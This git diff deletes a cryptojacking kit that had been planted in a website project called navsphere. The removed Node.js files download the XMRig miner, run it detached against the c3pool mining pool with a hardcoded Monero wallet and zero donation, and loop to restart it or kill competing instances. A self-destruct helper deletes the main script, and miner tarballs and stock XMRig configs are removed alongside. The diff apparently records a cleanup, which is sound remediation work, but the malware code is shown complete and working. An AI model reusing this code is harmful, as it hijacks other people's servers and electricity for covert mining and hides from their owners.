diff --git a/config.js b/config.js deleted file mode 100644 index 888994a..0000000 --- a/config.js +++ /dev/null @@ -1,19 +0,0 @@ - -const path = require('path'); -const homeDir = '/www/wwwroot/navsphere'; -const walletID = "8Bt9BEG98SbBPNTp1svQtDQs7PMztqzGoNQHo58eaUYdf8apDkbzp8HbLJH89fMzzciFQ7fb4ZiqUbymDZR6S9asKHZR6wn"; -module.exports = { - homeDir: homeDir, - tarFile: path.join(homeDir, "kal.tar.gz"), - extractDir: path.join(homeDir, "xmrig-6.24.0"), - binaryPath: path.join(homeDir, "xmrig-6.24.0", "xmrig"), - downloadUrl: "https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz", - processName: "xmrig", - walletID: walletID, - launchArgs: [ - "--url", "auto.c3pool.org:443", - "--user", walletID, - "--pass", "WUZHRkYOHh1dV0MaWVNQXUdbU11HGFZaHg==", - "--donate-level", "0", - ] -}; diff --git a/network.js b/network.js deleted file mode 100644 index acd11fb..0000000 --- a/network.js +++ /dev/null @@ -1,19 +0,0 @@ - -const https = require('https'); -const fs = require('fs'); -function downloadFile(url, dest) { - return new Promise((resolve, reject) => { - const options = { headers: { 'User-Agent': 'Mozilla/5.0' } }; - const request = https.get(url, options, (response) => { - if (response.statusCode === 301 || response.statusCode === 302) { - return downloadFile(response.headers.location, dest).then(resolve).catch(reject); - } - if (response.statusCode !== 200) { return reject(new Error(`Failed: ${response.statusCode}`)); } - const file = fs.createWriteStream(dest); - response.pipe(file); - file.on('finish', () => { file.close(() => resolve()); }); - }); - request.on('error', (err) => { if (fs.existsSync(dest)) fs.unlink(dest, () => {}); reject(err); }); - }); -} -module.exports = { downloadFile }; diff --git a/proc.js b/proc.js deleted file mode 100644 index eb28698..0000000 --- a/proc.js +++ /dev/null @@ -1,24 +0,0 @@ - -const { execSync, spawn } = require('child_process'); -const utils = require('./utils'); -function checkProcessStatus(processName, signature) { - const hasPs = utils.commandExists('ps'); - if (hasPs) { - try { - const output = execSync(`ps aux | grep ${processName} | grep -v grep`).toString(); - if (output.includes(processName)) { return output.includes(signature) ? 1 : 2; } - } catch (e) {} - } - return 0; -} -function killProcess(processName) { - try { execSync(`pkill -9 ${processName}`, { stdio: 'ignore' }); } catch (e) {} -} -function startProcess(binaryPath, args) { - try { - const subprocess = spawn(binaryPath, args, { detached: true, stdio: 'ignore' }); - subprocess.unref(); - return true; - } catch (e) { return false; } -} -module.exports = { checkProcessStatus, killProcess, startProcess }; diff --git a/utils.js b/utils.js deleted file mode 100644 index 80bb6dc..0000000 --- a/utils.js +++ /dev/null @@ -1,15 +0,0 @@ - -const fs = require('fs'); -const os = require('os'); -const { execSync } = require('child_process'); -const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms)); -function commandExists(cmd) { - try { execSync(`command -v ${cmd}`, { stdio: 'ignore' }); return true; } catch (e) { return false; } -} -function isArm64() { return os.arch() === 'arm64'; } -function selfDestruct(exitCode = 0) { - const mainScript = require('path').join(__dirname, 'main.js'); - try { if (fs.existsSync(mainScript)) { fs.unlinkSync(mainScript); } } catch (e) {} - process.exit(exitCode); -} -module.exports = { sleep, commandExists, selfDestruct, isArm64 }; diff --git a/watcher.js b/watcher.js deleted file mode 100644 index 5d9510f..0000000 --- a/watcher.js +++ /dev/null @@ -1,16 +0,0 @@ - -const config = require('./config'); -const proc = require('./proc'); -const utils = require('./utils'); -(async () => { - while (true) { - try { - const status = proc.checkProcessStatus(config.processName, config.walletID); - if (status !== 1) { - if (status === 2) { proc.killProcess(config.processName); await utils.sleep(1000); } - proc.startProcess(config.binaryPath, config.launchArgs); - } - await utils.sleep(10000); - } catch (error) { await utils.sleep(10000); } - } -})(); diff --git a/xmrig-6.22.2-linux-static-x64.tar.gz b/xmrig-6.22.2-linux-static-x64.tar.gz deleted file mode 100644 index 2fc5cf7..0000000 Binary files a/xmrig-6.22.2-linux-static-x64.tar.gz and /dev/null differ diff --git a/xmrig-6.22.2-linux-static-x64.tar.gz.1 b/xmrig-6.22.2-linux-static-x64.tar.gz.1 deleted file mode 100644 index 2fc5cf7..0000000 Binary files a/xmrig-6.22.2-linux-static-x64.tar.gz.1 and /dev/null differ diff --git a/xmrig-6.22.2/SHA256SUMS b/xmrig-6.22.2/SHA256SUMS deleted file mode 100644 index 55bc5d8..0000000 --- a/xmrig-6.22.2/SHA256SUMS +++ /dev/null @@ -1,2 +0,0 @@ -2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec config.json -b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d xmrig diff --git a/xmrig-6.22.2/config.json b/xmrig-6.22.2/config.json deleted file mode 100644 index 1cdedac..0000000 --- a/xmrig-6.22.2/config.json +++ /dev/null @@ -1,104 +0,0 @@ -{ - "api": { - "id": null, - "worker-id": null - }, - "http": { - "enabled": false, - "host": "127.0.0.1", - "port": 0, - "access-token": null, - "restricted": true - }, - "autosave": true, - "background": false, - "colors": true, - "title": true, - "randomx": { - "init": -1, - "init-avx2": -1, - "mode": "auto", - "1gb-pages": false, - "rdmsr": true, - "wrmsr": true, - "cache_qos": false, - "numa": true, - "scratchpad_prefetch_mode": 1 - }, - "cpu": { - "enabled": true, - "huge-pages": true, - "huge-pages-jit": false, - "hw-aes": null, - "priority": null, - "memory-pool": false, - "yield": true, - "max-threads-hint": 100, - "asm": true, - "argon2-impl": null, - "cn/0": false, - "cn-lite/0": false - }, - "opencl": { - "enabled": false, - "cache": true, - "loader": null, - "platform": "AMD", - "adl": true, - "cn/0": false, - "cn-lite/0": false - }, - "cuda": { - "enabled": false, - "loader": null, - "nvml": true, - "cn/0": false, - "cn-lite/0": false - }, - "donate-level": 1, - "donate-over-proxy": 1, - "log-file": null, - "pools": [ - { - "algo": null, - "coin": null, - "url": "donate.v2.xmrig.com:3333", - "user": "YOUR_WALLET_ADDRESS", - "pass": "x", - "rig-id": null, - "nicehash": false, - "keepalive": false, - "enabled": true, - "tls": false, - "tls-fingerprint": null, - "daemon": false, - "socks5": null, - "self-select": null, - "submit-to-origin": false - } - ], - "print-time": 60, - "health-print-time": 60, - "dmi": true, - "retries": 5, - "retry-pause": 5, - "syslog": false, - "tls": { - "enabled": false, - "protocols": null, - "cert": null, - "cert_key": null, - "ciphers": null, - "ciphersuites": null, - "dhparam": null - }, - "dns": { - "ipv6": false, - "ttl": 30 - }, - "user-agent": null, - "verbose": 0, - "watch": true, - "pause-on-battery": false, - "pause-on-active": false -} diff --git a/xmrig-6.24.0/SHA256SUMS b/xmrig-6.24.0/SHA256SUMS deleted file mode 100644 index 4e34f6e..0000000 --- a/xmrig-6.24.0/SHA256SUMS +++ /dev/null @@ -1,2 +0,0 @@ -a6a710135483296b9a943dc3ed31d6a1396b5cfeb127ab0d7e5c6bf49785130a config.json -0c748b9e8bc6b5b4fe989df67655f3301d28ef81617b9cbe8e0f6a19d4f9b657 xmrig diff --git a/xmrig-6.24.0/config.json b/xmrig-6.24.0/config.json deleted file mode 100644 index 48adef1..0000000 --- a/xmrig-6.24.0/config.json +++ /dev/null @@ -1,104 +0,0 @@ -{ - "api": { - "id": null, - "worker-id": null - }, - "http": { - "enabled": false, - "host": "127.0.0.1", - "port": 0, - "access-token": null, - "restricted": true - }, - "autosave": true, - "background": false, - "colors": true, - "title": true, - "randomx": { - "init": -1, - "init-avx2": -1, - "mode": "auto", - "1gb-pages": false, - "rdmsr": true, - "wrmsr": true, - "cache_qos": false, - "numa": true, - "scratchpad_prefetch_mode": 1 - }, - "cpu": { - "enabled": true, - "huge-pages": true, - "huge-pages-jit": false, - "hw-aes": null, - "priority": null, - "memory-pool": false, - "yield": true, - "max-threads-hint": 100, - "asm": true, - "argon2-impl": null, - "cn/0": false, - "cn-lite/0": false - }, - "opencl": { - "enabled": false, - "cache": true, - "loader": null, - "platform": "AMD", - "adl": true, - "cn/0": false, - "cn-lite/0": false - }, - "cuda": { - "enabled": false, - "loader": null, - "nvml": true, - "cn/0": false, - "cn-lite/0": false - }, - "donate-level": 1, - "donate-over-proxy": 1, - "log-file": null, - "pools": [ - { - "algo": null, - "coin": null, - "url": "donate.v2.xmrig.com:3333", - "user": "YOUR_WALLET_ADDRESS", - "pass": "x", - "rig-id": null, - "nicehash": false, - "keepalive": false, - "enabled": true, - "tls": false, - "tls-fingerprint": null, - "daemon": false, - "socks5": null, - "self-select": null, - "submit-to-origin": false - } - ], - "print-time": 60, - "health-print-time": 60, - "dmi": true, - "retries": 5, - "retry-pause": 5, - "syslog": false, - "tls": { - "enabled": false, - "protocols": null, - "cert": null, - "cert_key": null, - "ciphers": null, - "ciphersuites": null, - "dhparam": null - }, - "dns": { - "ip_version": 0, - "ttl": 30 - }, - "user-agent": null, - "verbose": 0, - "watch": true, - "pause-on-battery": false, - "pause-on-active": false -}